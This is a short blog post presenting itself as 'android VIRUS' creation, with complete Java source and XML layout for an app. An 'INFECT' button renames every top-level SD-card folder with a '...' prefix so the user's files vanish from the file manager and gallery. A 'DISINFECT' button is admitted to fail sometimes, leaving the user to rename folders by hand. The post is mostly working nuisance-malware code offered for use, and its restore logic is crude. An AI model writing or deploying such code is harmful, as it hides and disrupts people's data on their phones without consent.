Tuesday 12 January 2016

android VIRUS(creation)



 android SDK:
  • this program makes your mobile file manager empty(delete all your data)
  • This program can infect the phone as well as disinfect it....

(disinfecting will not function properly in some cases,data is not actually lost anywhere but you have to recover it manually in such case... **it is also described below)
so use at own risk....






This posts include a simple program in android which is capable to invisible all the SD-Card content of phone from file manager,gallery and media scanner...

The basic idea behind it is only to hide/invisible the SD-Card content from phone.so Android OS gets unaware about that data and don't shows it up.....

In Android system folders having a dot "." as initial of its name considered as hidden .... so what we do is to make each SD-card folder to start with "..." to hide them ex- 'image' --> '...image'
and while disinfecting we have to remove those dots to unhide them from system....


here we are using three dots "..." as prefix to differ them from android system hidden files..

Source code:-

package com.example.fun_virus;



import java.io.File;
import java.util.ArrayList;
import java.util.List;

import android.app.Activity;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.os.Environment;
import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.Toast;

public class Fun_Virus_Activity extends Activity
{
private File file;
private List<String> myList;

public void onCreate(Bundle savedInstanceState)
{
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_fun__virus);
   
    myList = new ArrayList<String>();  

    String root_sd = Environment.getExternalStorageDirectory().toString();
    file = new File( root_sd + "/" ) ;      
    Button btn_infect = (Button) findViewById(R.id.btn_infect);
Button btn_disinfect = (Button) findViewById(R.id.btn_disinfect);
   
    btn_infect.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
SharedPreferences settings = getSharedPreferences("mysp", MODE_PRIVATE);
String inf = settings.getString("INFECTED","NO");
if(inf.equals("OK"))
{
Toast.makeText(Fun_Virus_Activity.this,"Already Infected", 5).show();
}else
{
infect();

   SharedPreferences.Editor prefEditor = settings.edit();
   prefEditor.putString("INFECTED", "OK");
 
   prefEditor.commit();
}
}
});
   
btn_disinfect.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
disinfect();
Fun_Virus_Activity.this.getSharedPreferences("mysp", 0).edit().clear().commit();
}
});
   
   
   
   
}

public void infect()
{
File list[] = file.listFiles();
for( int i=0; i< list.length; i++)
{
myList.add( list[i].getName() );
Log.e("files : ",i+":"+ myList.get(i).toString());
File file = new File(list[i].getParent()+"/"+myList.get(i));
//File file2 = new File(list[i].getParent()+"..."+myList.get(i));
Log.e("abs_path",list[i].getParent()+"/"+myList.get(i)+"");
//boolean success = file.renameTo(file2);

boolean success= file.renameTo(new File(list[i].getParent(),"..."+myList.get(i)));


        Log.e("bool",success+"" );
}
}

public void disinfect()
{
File list[] = file.listFiles();
for( int i=0; i< list.length; i++)
{
myList.add( list[i].getName() );
Log.e("files : ",i+":"+ myList.get(i).toString());
File file = new File(list[i].getParent()+"/"+myList.get(i));
String aa= myList.get(i).replace("...", "");
Log.e("replace", aa+"");
boolean success= file.renameTo(new File(list[i].getParent(),aa));


       Log.e("bool",success+"" );
}
}


}



And the layout :-


<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
 android:background="@drawable/vrs_logo"
    tools:context=".Fun_Virus_Activity" >

    <Button
        android:id="@+id/btn_infect"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignParentLeft="true"
        android:layout_alignParentTop="true"
        android:layout_marginTop="32dp"
        android:text="INFECT" />

    <Button
        android:id="@+id/btn_disinfect"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignBaseline="@+id/btn_infect"
        android:layout_alignBottom="@+id/btn_infect"
        android:layout_alignParentRight="true"
        android:text="DISINFECT" />

</RelativeLayout>

**
In a condition when all previous data is not visible after disinfecting then you have to manually recover those data using file explorer like:-Es File Explorer,AndroZip etc..
you should rename folders with "..." prefix to there original name ex:- '...image' -->'image'
This will show data again.

No comments: